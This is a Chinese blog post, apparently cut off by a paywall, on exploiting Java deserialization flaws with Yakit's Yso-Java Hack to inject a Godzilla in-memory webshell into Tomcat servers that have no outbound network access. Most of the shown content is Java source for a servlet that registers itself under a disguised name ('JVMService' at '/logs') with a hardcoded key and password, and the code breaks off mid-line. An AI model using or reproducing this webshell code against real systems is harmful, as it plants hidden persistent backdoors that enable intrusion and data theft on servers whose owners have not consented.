
背景
对于反序列化漏洞利用,一般命令执行后可以直接反弹shell或上线cs,但不出网的情况下想获取目标机器的信息,或进一步利用,就需要用到内存马配合shell管理工具了。
Yso-Java Hack 功能上了有一段时间了,可能有些师傅还不太熟悉,其实使用起来很方便,本篇文章介绍下如何利用反序列化漏洞直接打入内存马。
生成内存马
现在Yakit暂时还没有 shell 管理功能,所以就选用哥斯拉做 shell 管理工具。针对哥斯拉的马进行改造,改成servlet内存马。
我用的哥斯拉版本是4.0.1,生成的是jsp马,改成内存马就像下面这样。
import org.apache.catalina.core.StandardContext;
import javax.servlet.Servlet;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class GodzillaMem extends HttpServlet {
String xc = "3c6e0b8a9c15224a";
String pass = "pass";
static String pattern = "/logs";
static String servletName = "JVMService";
String md5 = md5(pass + xc);
Class payload;
static {
Servlet servlet = new GodzillaMem();
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
newWrapper.setName(servletName);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
standardCtx.addChild(newWrapper);
standardCtx.addServletMappingDecoded(patte

本文介绍了如何利用反序列化漏洞通过Yso-JavaHack技术在不联网情况下创建内存马,包括生成内存马的步骤,如何通过改造类加载机制并使用哥斯拉工具,以及实战演练的过程。作者强调了这种方法的可扩展性和效率提升价值。
最低0.47元/天 解锁文章
3932

被折叠的 条评论
为什么被折叠?



